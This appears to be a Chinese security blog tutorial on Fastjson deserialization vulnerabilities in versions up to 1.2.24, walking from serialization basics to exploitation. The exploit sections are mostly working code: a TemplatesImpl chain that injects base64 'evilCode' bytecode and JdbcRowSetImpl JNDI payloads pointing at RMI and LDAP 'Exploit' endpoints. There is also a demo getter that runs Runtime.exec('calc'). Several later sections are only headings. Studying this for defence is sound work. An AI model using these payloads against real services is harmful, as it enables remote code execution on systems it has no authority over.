目录

  1. 1. 前言
  2. 2. 简介
  3. 3. demo
    1. 3.1. 序列化代码实现
    2. 3.2. 反序列化代码实现
  4. 4. 漏洞原理
    1. 4.1. 漏洞demo
  5. 5. FastJson<=1.2.24
    1. 5.1. TemplatesImpl链
    2. 5.2. JdbcRowSetImpl链(出网)
      1. 5.2.1. JNDI+RMI
      2. 5.2.2. JNDI+LDAP
    3. 5.3. BCEL
    4. 5.4. toString链
      1. 5.4.1. 西湖论剑2023[easy_api]
  6. 6. 版本探测

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

FastJson反序列化

2024/7/19 Web Java 反序列化
  |     |   总文章阅读量:

前言

参考:

https://natro92.fun/posts/ac90d224/

https://boogipop.com/2023/03/02/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://zer0peach.github.io/2023/09/24/FastJSON/

https://drun1baby.top/2022/08/04/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8701-Fastjson%E5%9F%BA%E7%A1%80


简介

Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。

提供两个主要接口来分别实现序列化和反序列化操作。

JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。

JSON.parseObject/JSON.parse 将 json 对象重新变回 Java 对象;反序列化的过程

所以可以简单的把 json 理解成是一个字符串


demo

依赖

<dependencies>
  <dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
  </dependency>
</dependencies>

序列化代码实现

定义一个 Student 类

package com.example;

public class Student {
    private String name;
    private int age;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }
}

然后写序列化的代码,调用 JSON.toJsonString() 来序列化 Student 类对象 :

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

public class StudentSerialize {
    public static void main(String[] args) {
        Student student = new Student();
        student.setName("0w0");
        student.setAge(16);
        String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
        System.out.println(jsonString);
    }
}

image-20241223115429334

调试一下JSON.toJsonString()序列化的逻辑

image-20241223115723785

进到 JSON#toJSONString,new 了一个 SerializeWriter 对象,至此序列化完成

注意到底下的 static 变量,是 members of JSON

image-20241223120012708

其中的 DEFAULT_TYPE_KEY 为 "@type"

继续往下看,new SerializeWriter 后的对象赋给 out

image-20241223120333472

这个 out 变量作为 JSONSerializer 类构造的参数

再往下就是 toString 返回序列化字符串了


那么核心就在 toJSONString 这里

String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);

观察第二个参数,SerializerFeature.WriteClassName,是 JSON.toJSONString() 中的一个设置属性值,设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名,type 可以指定反序列化的类,并且调用其 getter/setter/is 方法

Fastjson 接受的 JSON 可以通过 @type 字段来指定该 JSON 应当还原成何种类型的对象,在反序列化的时候方便操作

image-20241223121704167

(如果没有设置的话就没有 @type)


反序列化代码实现

通过调用JSON.parseObject()实现反序列化

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class StudentUnserialize {
    public static void main(String[] args) {
        String jsonString = "{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\"}";
        Student student = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
        System.out.println(student);
        System.out.println(student.getClass().getName());
        System.out.println(student.getName());
        System.out.println(student.getAge());
    }
}

漏洞原理

从前面的demo中我们可以看出,fastjson 在反序列化的时候会去找我们在 @type 中规定的类是哪个类,然后在反序列化的时候会自动调用这些 setter 与 getter 方法,但是调用的 setter 与 getter 方法是有条件的

满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

那么,不同于之前Java原生的序列化和反序列化机制,Fastjson自己实现了一套序列化和反序列化机制

通过 Fastjson 反序列化漏洞,攻击者可以传入一个恶意构造的 JSON 内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行


由前面demo知道,Fastjson使用parseObject()/parse()进行反序列化的时候可以指定类型。如果指定的类型太大,包含太多子类,就有利用空间了。例如,如果指定类型为Object或JSONObject,则可以反序列化出来任意类。例如代码写Object o = JSON.parseObject(poc,Object.class)就可以反序列化出Object类或其任意子类,而 Object 又是任意类的父类,所以就可以反序列化出所有类。

而反序列化时会将反序列化得到的类的构造函数、getter方法、setter方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在,即要攻击的类中的这三种方法需要存在漏洞才能触发

DefaultJSONParser.parseObject(Map object, Object fieldName)中,JSON中以@type形式传入的类的时候,调用deserializer.deserialize()处理该类,并去调用这个类的settergetter方法:

public final Object parseObject(final Map object, Object fieldName) {
    ...
    // JSON.DEFAULT_TYPE_KEY即@type
    if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
        ...
        ObjectDeserializer deserializer = config.getDeserializer(clazz);
        return deserializer.deserialze(this, clazz, fieldName);

漏洞demo

对 student 类稍作修改,添加一个 getter 方法,里面有漏洞代码

package com.example;

import java.util.Properties;

public class Student {
    private String name;
    private int age;
    private String address;
    private Properties properties;

    public Student() {
        System.out.println("构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    //    public void setAge(int age) {
    //        System.out.println("setAge");
    //        this.age = age;
    //    }

    public String getAddress() {
        System.out.println("getAddress");
        return address;
    }

    public Properties getProperties() throws Exception{
        System.out.println("getProperties");
        Runtime.getRuntime().exec("calc");
        return properties;
    }
}

poc:

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;

public class FastjsonEasyPoC {
    public static void main(String[] args){
        String jsonString ="{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\",\"address\":\"china\",\"properties\":{}}";

        Object obj = JSON.parseObject(jsonString, Object.class);
//        Student obj = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
        System.out.println(obj);
        System.out.println(obj.getClass().getName());
    }
}

image-20241223145633462

很明显,前面的 Demo 中反序列化的类是一个 Object 类,该类是任意类的父类,其子类 Student 存在 Fastjson 反序列化漏洞,当 @type 指向 Student 类是反序列化就会触发漏洞。

对于另一种反序列化指定类的情景,是该指定类本身就存在漏洞,比如我们将上述Demo中反序列化那行代码改成直接反序列化得到 Student 类而非 Object 类,这样就是另一个触发也是最直接的触发场景

Student obj = JSON.parseObject(jsonstring, Student.class, Feature.SupportNonPublicField);

FastJson<=1.2.24

1.2.22 <= Fastjson <= 1.2.24

依赖:

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.2.0</version>
</dependency>
<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.5</version>
</dependency>
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>
<dependency>
    <groupId>commons-codec</groupId>
    <artifactId>commons-codec</artifactId>
    <version>1.13</version>
</dependency>

一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子

TemplatesImpl链

此前在学字节码的时候就知道调用链如下:https://c1oudfl0w0.github.io/blog/2024/04/07/Java%E5%8A%A8%E6%80%81%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81/#TemplatesImpl-%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81

TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()

这里 getTransletInstance 就是一个 getter 方法,那么就满足了我们 fastjson 漏洞的利用条件

image-20241223233755223

但是有一个问题,getTransletInstance 方法返回值是 Translet 类型,是一个抽象类,没有继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong

此时就要向上找链子了,根据之前对字节码的学习可以知道在最前面还有个 getOutputProperties 方法

image-20241223234655460

这里返回值类型是 Properties

image-20241223234757553

image-20241223234815137

Properties 继承自 Map 类型,那么满足了我们的需要

然后我们需要在 payload 里面给 _outputProperties 也赋个值

image-20241224000813127

于是就能构造payload了:

{
    "@type":\"" + NASTY_CLASS + "\",
    "_bytecodes\":[\""+evilCode+"\"],
    '_name':'0w0',
    '_tfactory':{ },
	"_outputProperties":{ }
}

exp:在反序列化的时候的参数需要加上 Object.classFeature.SupportNonPublicField,因为 getOutputProperties() 方法是私有的

package com.example;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

// TemplatesImpl 链子的 EXP
public class TemplatesImplPoc {
    public static String readClass(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }

    public static void main(String args[]){
        try {
            ParserConfig config = new ParserConfig();
            final String fileSeparator = System.getProperty("file.separator");
            final String evilClassPath = "D:/Code/Java/Java unserialize/demo/src/main/java/com/example/TempClass.class";
            String evilCode = readClass(evilClassPath);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{\"@type\":\"" + NASTY_CLASS +
                    "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'0w0','_tfactory':{ },\"_outputProperties\":{ },";
            System.out.println(text1);

            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            //Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20241224001435478


JdbcRowSetImpl链(出网)

其实就是 JNDI 注入

基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式

JNDI+RMI

JDK 版本 8u161 < jdk < 8u191

JdbcRowSetImpl 类 JNDI 的部分在 connect 中

image-20241224003040401

这里既然是 getDateSourceName,那么找 setDataSourceName

image-20241224002541575

一看方法名就知道是设置数据库源,我们通过这个方式实现攻击

然后向上找调用 connect 方法的 setter 或 getter,优先找 setter,限制比较少

image-20241224003950586

找到 setAutoCommit,那么只要给 autoCommit 赋布尔值即可

payload:

{
	"@type":"com.sun.rowset.JdbcRowSetImpl",
	"dataSourceName":"rmi://localhost:1099/Exploit",
    "autoCommit":true
}

exp:

package com.example;

import com.alibaba.fastjson.JSON;

// 基于 JdbcRowSetImpl 的利用链  
public class JdbcRowSetImplExp {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

使用 yakit 生成一个测试反连

image-20241224004624146

image-20241224004739150


JNDI+LDAP

原理一致

exp:

package com.example;

import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplLdapExp {
    public static void main(String[] args) {
        String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Exploit\", \"autoCommit\":true}";
        JSON.parse(payload);
    }
}

BCEL


toString链

西湖论剑2023[easy_api]


版本探测

https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA